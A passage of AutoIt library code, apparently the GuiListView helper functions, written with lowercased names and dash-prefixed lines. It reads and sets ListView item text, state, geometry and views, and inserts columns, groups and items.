- _memread($tmemmap, $pmemory, $trect, $irect)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_getitemrect, $iindex, DllStructGetPtr($trect))
- EndIf
- Return $trect
- EndFunc
- Func _guictrllistview_getitemselected($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Return _guictrllistview_getitemstate($hwnd, $iindex, $lvis_selected) <> 0
- EndFunc
- Func _guictrllistview_getitemspacing($hwnd, $fsmall = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $ispace
- If IsHWnd($hwnd) Then
- $ispace = _sendmessage($hwnd, $lvm_getitemspacing, $fsmall)
- Else
- $ispace = GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0)
- EndIf
- Local $aspace[2]
- $aspace[0] = BitAND($ispace, 65535)
- $aspace[1] = BitShift($ispace, 16)
- Return $aspace
- EndFunc
- Func _guictrllistview_getitemspacingx($hwnd, $fsmall = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return BitAND(_sendmessage($hwnd, $lvm_getitemspacing, $fsmall, 0), 65535)
- Else
- Return BitAND(GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0), 65535)
- EndIf
- EndFunc
- Func _guictrllistview_getitemspacingy($hwnd, $fsmall = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return BitShift(_sendmessage($hwnd, $lvm_getitemspacing, $fsmall, 0), 16)
- Else
- Return BitShift(GUICtrlSendMsg($hwnd, $lvm_getitemspacing, $fsmall, 0), 16)
- EndIf
- EndFunc
- Func _guictrllistview_getitemstate($hwnd, $iindex, $imask)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getitemstate, $iindex, $imask)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getitemstate, $iindex, $imask)
- EndIf
- EndFunc
- Func _guictrllistview_getitemstateimage($hwnd, $iindex)
- Return BitShift(_guictrllistview_getitemstate($hwnd, $iindex, $lvis_stateimagemask), 12)
- EndFunc
- Func _guictrllistview_getitemtext($hwnd, $iindex, $isubitem = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[4096]")
- Else
- $tbuffer = DllStructCreate("char Text[4096]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "SubItem", $isubitem)
- DllStructSetData($titem, "TextMax", 4096)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($titem, "Text", $pbuffer)
- _sendmessage($hwnd, $lvm_getitemtextw, $iindex, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + 4096, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- If $funicode Then
- _sendmessage($hwnd, $lvm_getitemtextw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- _sendmessage($hwnd, $lvm_getitemtexta, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $ptext, $tbuffer, 4096)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- DllStructSetData($titem, "Text", $pbuffer)
- If $funicode Then
- GUICtrlSendMsg($hwnd, $lvm_getitemtextw, $iindex, $pitem)
- Else
- GUICtrlSendMsg($hwnd, $lvm_getitemtexta, $iindex, $pitem)
- EndIf
- EndIf
- Return DllStructGetData($tbuffer, "Text")
- EndFunc
- Func _guictrllistview_getitemtextarray($hwnd, $iitem = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $sitems = _guictrllistview_getitemtextstring($hwnd, $iitem)
- If $sitems = "" Then
- Local $vitems[1] = [0]
- Return SetError($lv_err, $lv_err, $vitems)
- EndIf
- Return StringSplit($sitems, Opt("GUIDataSeparatorChar"))
- EndFunc
- Func _guictrllistview_getitemtextstring($hwnd, $iitem = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $srow = "", $separatorchar = Opt("GUIDataSeparatorChar"), $iselected
- If $iitem = -1 Then
- $iselected = _guictrllistview_getnextitem($hwnd)
- Else
- $iselected = $iitem
- EndIf
- For $x = 0 To _guictrllistview_getcolumncount($hwnd) - 1
- $srow &= _guictrllistview_getitemtext($hwnd, $iselected, $x) & $separatorchar
- Next
- Return StringTrimRight($srow, 1)
- EndFunc
- Func _guictrllistview_getnextitem($hwnd, $istart = -1, $isearch = 0, $istate = 8)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $asearch[5] = [$lvni_all, $lvni_above, $lvni_below, $lvni_toleft, $lvni_toright]
- Local $iflags = $asearch[$isearch]
- If BitAND($istate, 1) <> 0 Then $iflags = BitOR($iflags, $lvni_cut)
- If BitAND($istate, 2) <> 0 Then $iflags = BitOR($iflags, $lvni_drophilited)
- If BitAND($istate, 4) <> 0 Then $iflags = BitOR($iflags, $lvni_focused)
- If BitAND($istate, 8) <> 0 Then $iflags = BitOR($iflags, $lvni_selected)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getnextitem, $istart, $iflags)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getnextitem, $istart, $iflags)
- EndIf
- EndFunc
- Func _guictrllistview_getnumberofworkareas($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tbuffer = DllStructCreate("int Data")
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getnumberofworkareas, 0, $tbuffer, 0, "wparam", "struct*")
- Else
- Local $ibuffer = DllStructGetSize($tbuffer)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _sendmessage($hwnd, $lvm_getnumberofworkareas, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_getnumberofworkareas, 0, DllStructGetPtr($tbuffer))
- EndIf
- Return DllStructGetData($tbuffer, "Data")
- EndFunc
- Func _guictrllistview_getorigin($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $tpoint = DllStructCreate($tagpoint)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getorigin, 0, $tpoint, 0, "wparam", "struct*")
- Else
- Local $ipoint = DllStructGetSize($tpoint)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ipoint, $tmemmap)
- $iret = _sendmessage($hwnd, $lvm_getorigin, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $tpoint, $ipoint)
- _memfree($tmemmap)
- EndIf
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getorigin, 0, DllStructGetPtr($tpoint))
- EndIf
- Local $aorigin[2]
- $aorigin[0] = DllStructGetData($tpoint, "X")
- $aorigin[1] = DllStructGetData($tpoint, "Y")
- Return SetError(@error, $iret = 1, $aorigin)
- EndFunc
- Func _guictrllistview_getoriginx($hwnd)
- Local $aorigin = _guictrllistview_getorigin($hwnd)
- Return $aorigin[0]
- EndFunc
- Func _guictrllistview_getoriginy($hwnd)
- Local $aorigin = _guictrllistview_getorigin($hwnd)
- Return $aorigin[1]
- EndFunc
- Func _guictrllistview_getoutlinecolor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getoutlinecolor)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getoutlinecolor, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getselectedcolumn($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getselectedcolumn)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getselectedcolumn, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getselectedcount($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getselectedcount)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getselectedcount, 0, 0)
- EndIf
- EndFunc
- Func __guictrllistview_getcheckedindices($hwnd, $farray = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $sindices, $aindices[1] = [0]
- Local $iret, $icount = _guictrllistview_getitemcount($hwnd)
- For $iitem = 0 To $icount - 1
- $iret = _guictrllistview_getitemchecked($hwnd, $iitem)
- If $iret Then
- If (NOT $farray) Then
- If StringLen($sindices) Then
- $sindices &= "|" & $iitem
- Else
- $sindices = $iitem
- EndIf
- Else
- ReDim $aindices[UBound($aindices) + 1]
- $aindices[0] = UBound($aindices) - 1
- $aindices[UBound($aindices) - 1] = $iitem
- EndIf
- EndIf
- Next
- If (NOT $farray) Then
- Return String($sindices)
- Else
- Return $aindices
- EndIf
- EndFunc
- Func _guictrllistview_getselectedindices($hwnd, $farray = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $sindices, $aindices[1] = [0]
- Local $iret, $icount = _guictrllistview_getitemcount($hwnd)
- For $iitem = 0 To $icount
- If IsHWnd($hwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getitemstate, $iitem, $lvis_selected)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getitemstate, $iitem, $lvis_selected)
- EndIf
- If $iret Then
- If (NOT $farray) Then
- If StringLen($sindices) Then
- $sindices &= "|" & $iitem
- Else
- $sindices = $iitem
- EndIf
- Else
- ReDim $aindices[UBound($aindices) + 1]
- $aindices[0] = UBound($aindices) - 1
- $aindices[UBound($aindices) - 1] = $iitem
- EndIf
- EndIf
- Next
- If (NOT $farray) Then
- Return String($sindices)
- Else
- Return $aindices
- EndIf
- EndFunc
- Func _guictrllistview_getselectionmark($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getselectionmark)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getselectionmark, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getstringwidth($hwnd, $sstring)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $ibuffer = StringLen($sstring) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- DllStructSetData($tbuffer, "Text", $sstring)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $iret = _sendmessage($hwnd, $lvm_getstringwidthw, 0, $tbuffer, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $ibuffer, $tmemmap)
- _memwrite($tmemmap, $tbuffer, $pmemory, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_getstringwidthw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_getstringwidtha, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memread($tmemmap, $pmemory, $tbuffer, $ibuffer)
- _memfree($tmemmap)
- EndIf
- Else
- Local $pbuffer = DllStructGetPtr($tbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_getstringwidthw, 0, $pbuffer)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_getstringwidtha, 0, $pbuffer)
- EndIf
- EndIf
- Return $iret
- EndFunc
- Func _guictrllistview_getsubitemrect($hwnd, $iindex, $isubitem, $ipart = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $apart[2] = [$lvir_bounds, $lvir_icon]
- Local $trect = DllStructCreate($tagrect)
- DllStructSetData($trect, "Top", $isubitem)
- DllStructSetData($trect, "Left", $apart[$ipart])
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getsubitemrect, $iindex, $trect, 0, "wparam", "struct*")
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- _memwrite($tmemmap, $trect, $pmemory, $irect)
- _sendmessage($hwnd, $lvm_getsubitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $trect, $irect)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_getsubitemrect, $iindex, DllStructGetPtr($trect))
- EndIf
- Local $arect[4]
- $arect[0] = DllStructGetData($trect, "Left")
- $arect[1] = DllStructGetData($trect, "Top")
- $arect[2] = DllStructGetData($trect, "Right")
- $arect[3] = DllStructGetData($trect, "Bottom")
- Return $arect
- EndFunc
- Func _guictrllistview_gettextbkcolor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gettextbkcolor)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_gettextbkcolor, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_gettextcolor($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gettextcolor)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_gettextcolor, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_gettooltips($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return HWnd(_sendmessage($hwnd, $lvm_gettooltips))
- Else
- Return HWnd(GUICtrlSendMsg($hwnd, $lvm_gettooltips, 0, 0))
- EndIf
- EndFunc
- Func _guictrllistview_gettopindex($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_gettopindex)
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_gettopindex, 0, 0)
- EndIf
- EndFunc
- Func _guictrllistview_getunicodeformat($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_getunicodeformat) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_getunicodeformat, 0, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_getview($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $view
- If IsHWnd($hwnd) Then
- $view = _sendmessage($hwnd, $lvm_getview)
- Else
- $view = GUICtrlSendMsg($hwnd, $lvm_getview, 0, 0)
- EndIf
- Switch $view
- Case $lv_view_details
- Return 0
- Case $lv_view_icon
- Return 1
- Case $lv_view_list
- Return 2
- Case $lv_view_smallicon
- Return 3
- Case $lv_view_tile
- Return 4
- Case Else
- Return - 1
- EndSwitch
- EndFunc
- Func _guictrllistview_getviewdetails($hwnd)
- Return _guictrllistview_getview($hwnd) = 0
- EndFunc
- Func _guictrllistview_getviewlarge($hwnd)
- Return _guictrllistview_getview($hwnd) = 1
- EndFunc
- Func _guictrllistview_getviewlist($hwnd)
- Return _guictrllistview_getview($hwnd) = 2
- EndFunc
- Func _guictrllistview_getviewsmall($hwnd)
- Return _guictrllistview_getview($hwnd) = 3
- EndFunc
- Func _guictrllistview_getviewtile($hwnd)
- Return _guictrllistview_getview($hwnd) = 4
- EndFunc
- Func _guictrllistview_getviewrect($hwnd)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $arect[4] = [0, 0, 0, 0]
- Local $iview = _guictrllistview_getview($hwnd)
- If ($iview <> 1) AND ($iview <> 3) Then Return $arect
- Local $trect = DllStructCreate($tagrect)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_getviewrect, 0, $trect, 0, "wparam", "struct*")
- Else
- Local $irect = DllStructGetSize($trect)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
- _sendmessage($hwnd, $lvm_getviewrect, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $trect, $irect)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_getviewrect, 0, DllStructGetPtr($trect))
- EndIf
- $arect[0] = DllStructGetData($trect, "Left")
- $arect[1] = DllStructGetData($trect, "Top")
- $arect[2] = DllStructGetData($trect, "Right")
- $arect[3] = DllStructGetData($trect, "Bottom")
- Return $arect
- EndFunc
- Func _guictrllistview_hidecolumn($hwnd, $icol)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
- Return _sendmessage($hwnd, $lvm_setcolumnwidth, $icol) <> 0
- Else
- Return GUICtrlSendMsg($hwnd, $lvm_setcolumnwidth, $icol, 0) <> 0
- EndIf
- EndFunc
- Func _guictrllistview_hittest($hwnd, $ix = -1, $iy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $atest[10]
- Local $imode = Opt("MouseCoordMode", 1)
- Local $apos = MouseGetPos()
- Opt("MouseCoordMode", $imode)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $apos[0])
- DllStructSetData($tpoint, "Y", $apos[1])
- Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult[0] = 0 Then Return 0
- If $ix = -1 Then $ix = DllStructGetData($tpoint, "X")
- If $iy = -1 Then $iy = DllStructGetData($tpoint, "Y")
- Local $ttest = DllStructCreate($taglvhittestinfo)
- DllStructSetData($ttest, "X", $ix)
- DllStructSetData($ttest, "Y", $iy)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- $atest[0] = _sendmessage($hwnd, $lvm_hittest, 0, $ttest, 0, "wparam", "struct*")
- Else
- Local $itest = DllStructGetSize($ttest)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $itest, $tmemmap)
- _memwrite($tmemmap, $ttest, $pmemory, $itest)
- $atest[0] = _sendmessage($hwnd, $lvm_hittest, 0, $pmemory, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemory, $ttest, $itest)
- _memfree($tmemmap)
- EndIf
- Else
- $atest[0] = GUICtrlSendMsg($hwnd, $lvm_hittest, 0, DllStructGetPtr($ttest))
- EndIf
- Local $iflags = DllStructGetData($ttest, "Flags")
- $atest[1] = BitAND($iflags, $lvht_nowhere) <> 0
- $atest[2] = BitAND($iflags, $lvht_onitemicon) <> 0
- $atest[3] = BitAND($iflags, $lvht_onitemlabel) <> 0
- $atest[4] = BitAND($iflags, $lvht_onitemstateicon) <> 0
- $atest[5] = BitAND($iflags, $lvht_onitem) <> 0
- $atest[6] = BitAND($iflags, $lvht_above) <> 0
- $atest[7] = BitAND($iflags, $lvht_below) <> 0
- $atest[8] = BitAND($iflags, $lvht_toleft) <> 0
- $atest[9] = BitAND($iflags, $lvht_toright) <> 0
- Return $atest
- EndFunc
- Func __guictrllistview_indextooverlayimagemask($iindex)
- Return BitShift($iindex, -8)
- EndFunc
- Func __guictrllistview_indextostateimagemask($iindex)
- Return BitShift($iindex, -12)
- EndFunc
- Func _guictrllistview_insertcolumn($hwnd, $iindex, $stext, $iwidth = 50, $ialign = -1, $iimage = -1, $fonright = False)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $ibuffer = StringLen($stext) + 1
- Local $tbuffer
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- Local $pbuffer = DllStructGetPtr($tbuffer)
- Local $tcolumn = DllStructCreate($taglvcolumn)
- Local $imask = BitOR($lvcf_fmt, $lvcf_width, $lvcf_text)
- If $ialign < 0 OR $ialign > 2 Then $ialign = 0
- Local $ifmt = $aalign[$ialign]
- If $iimage <> -1 Then
- $imask = BitOR($imask, $lvcf_image)
- $ifmt = BitOR($ifmt, $lvcfmt_col_has_images, $lvcfmt_image)
- EndIf
- If $fonright Then $ifmt = BitOR($ifmt, $lvcfmt_bitmap_on_right)
- DllStructSetData($tbuffer, "Text", $stext)
- DllStructSetData($tcolumn, "Mask", $imask)
- DllStructSetData($tcolumn, "Fmt", $ifmt)
- DllStructSetData($tcolumn, "CX", $iwidth)
- DllStructSetData($tcolumn, "TextMax", $ibuffer)
- DllStructSetData($tcolumn, "Image", $iimage)
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tcolumn, "Text", $pbuffer)
- $iret = _sendmessage($hwnd, $lvm_insertcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
- Else
- Local $icolumn = DllStructGetSize($tcolumn)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $icolumn
- DllStructSetData($tcolumn, "Text", $ptext)
- _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_insertcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_insertcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pcolumn = DllStructGetPtr($tcolumn)
- DllStructSetData($tcolumn, "Text", $pbuffer)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_insertcolumnw, $iindex, $pcolumn)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_insertcolumna, $iindex, $pcolumn)
- EndIf
- EndIf
- If $ialign > 0 Then _guictrllistview_setcolumn($hwnd, $iret, $stext, $iwidth, $ialign, $iimage, $fonright)
- Return $iret
- EndFunc
- Func _guictrllistview_insertgroup($hwnd, $iindex, $igroupid, $sheader, $ialign = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $aalign[3] = [$lvga_header_left, $lvga_header_center, $lvga_header_right]
- If $ialign < 0 OR $ialign > 2 Then $ialign = 0
- Local $theader = _winapi_multibytetowidechar($sheader)
- Local $pheader = DllStructGetPtr($theader)
- Local $iheader = StringLen($sheader)
- Local $tgroup = DllStructCreate($taglvgroup)
- Local $igroup = DllStructGetSize($tgroup)
- Local $imask = BitOR($lvgf_header, $lvgf_align, $lvgf_groupid)
- DllStructSetData($tgroup, "Size", $igroup)
- DllStructSetData($tgroup, "Mask", $imask)
- DllStructSetData($tgroup, "HeaderMax", $iheader)
- DllStructSetData($tgroup, "GroupID", $igroupid)
- DllStructSetData($tgroup, "Align", $aalign[$ialign])
- Local $iret
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- DllStructSetData($tgroup, "Header", $pheader)
- $iret = _sendmessage($hwnd, $lvm_insertgroup, $iindex, $tgroup, 0, "wparam", "struct*")
- Else
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $igroup + $iheader, $tmemmap)
- Local $ptext = $pmemory + $igroup
- DllStructSetData($tgroup, "Header", $ptext)
- _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
- _memwrite($tmemmap, $theader, $ptext, $iheader)
- $iret = _sendmessage($hwnd, $lvm_insertgroup, $iindex, $tgroup, 0, "wparam", "struct*")
- _memfree($tmemmap)
- EndIf
- Else
- DllStructSetData($tgroup, "Header", $pheader)
- $iret = GUICtrlSendMsg($hwnd, $lvm_insertgroup, $iindex, DllStructGetPtr($tgroup))
- EndIf
- Return $iret
- EndFunc
- Func _guictrllistview_insertitem($hwnd, $stext, $iindex = -1, $iimage = -1, $iparam = 0)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $funicode = _guictrllistview_getunicodeformat($hwnd)
- Local $ibuffer, $tbuffer, $iret
- If $iindex = -1 Then $iindex = 999999999
- Local $titem = DllStructCreate($taglvitem)
- DllStructSetData($titem, "Param", $iparam)
- If $stext <> -1 Then
- $ibuffer = StringLen($stext) + 1
- If $funicode Then
- $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
- $ibuffer *= 2
- Else
- $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
- EndIf
- DllStructSetData($tbuffer, "Text", $stext)
- DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
- DllStructSetData($titem, "TextMax", $ibuffer)
- Else
- DllStructSetData($titem, "Text", -1)
- EndIf
- Local $imask = BitOR($lvif_text, $lvif_param)
- If $iimage >= 0 Then $imask = BitOR($imask, $lvif_image)
- DllStructSetData($titem, "Mask", $imask)
- DllStructSetData($titem, "Item", $iindex)
- DllStructSetData($titem, "Image", $iimage)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) OR ($stext = -1) Then
- $iret = _sendmessage($hwnd, $lvm_insertitemw, 0, $titem, 0, "wparam", "struct*")
- Else
- Local $iitem = DllStructGetSize($titem)
- Local $tmemmap
- Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
- Local $ptext = $pmemory + $iitem
- DllStructSetData($titem, "Text", $ptext)
- _memwrite($tmemmap, $titem, $pmemory, $iitem)
- _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
- If $funicode Then
- $iret = _sendmessage($hwnd, $lvm_insertitemw, 0, $pmemory, 0, "wparam", "ptr")
- Else
- $iret = _sendmessage($hwnd, $lvm_insertitema, 0, $pmemory, 0, "wparam", "ptr")
- EndIf
- _memfree($tmemmap)
- EndIf
- Else
- Local $pitem = DllStructGetPtr($titem)
- If $funicode Then
- $iret = GUICtrlSendMsg($hwnd, $lvm_insertitemw, 0, $pitem)
- Else
- $iret = GUICtrlSendMsg($hwnd, $lvm_insertitema, 0, $pitem)
- EndIf
- EndIf
- Return $iret
- EndFunc
- Func _guictrllistview_insertmarkhittest($hwnd, $ix = -1, $iy = -1)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- Local $imode = Opt("MouseCoordMode", 1)
- Local $apos = MouseGetPos()
- Opt("MouseCoordMode", $imode)
- Local $tpoint = DllStructCreate($tagpoint)
- DllStructSetData($tpoint, "X", $apos[0])
- DllStructSetData($tpoint, "Y", $apos[1])
- Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult[0] = 0 Then Return 0
- If $ix = -1 Then $ix = DllStructGetData($tpoint, "X")
- If $iy = -1 Then $iy = DllStructGetData($tpoint, "Y")
- Local $tmark = DllStructCreate($taglvinsertmark)
- Local $imark = DllStructGetSize($tmark)
- DllStructSetData($tpoint, "X", $ix)
- DllStructSetData($tpoint, "Y", $iy)
- DllStructSetData($tmark, "Size", $imark)
- If IsHWnd($hwnd) Then
- If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
- _sendmessage($hwnd, $lvm_insertmarkhittest, $tpoint, $tmark, 0, "struct*", "struct*")
- Else
- Local $ipoint = DllStructGetSize($tpoint)
- Local $tmemmap
- Local $pmemm = _meminit($hwnd, $ipoint + $imark, $tmemmap)
- Local $pmemp = $pmemm + $ipoint
- _memwrite($tmemmap, $tmark, $pmemm, $imark)
- _memwrite($tmemmap, $tpoint, $pmemp, $ipoint)
- _sendmessage($hwnd, $lvm_insertmarkhittest, $pmemp, $pmemm, 0, "wparam", "ptr")
- _memread($tmemmap, $pmemm, $tmark, $imark)
- _memfree($tmemmap)
- EndIf
- Else
- GUICtrlSendMsg($hwnd, $lvm_insertmarkhittest, DllStructGetPtr($tpoint), DllStructGetPtr($tmark))
- EndIf
- Local $atest[2]
- $atest[0] = DllStructGetData($tmark, "Flags") = $lvim_after
- $atest[1] = DllStructGetData($tmark, "Item")
- Return $atest
- EndFunc
- Func _guictrllistview_isitemvisible($hwnd, $iindex)
- If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
- If IsHWnd($hwnd) Then
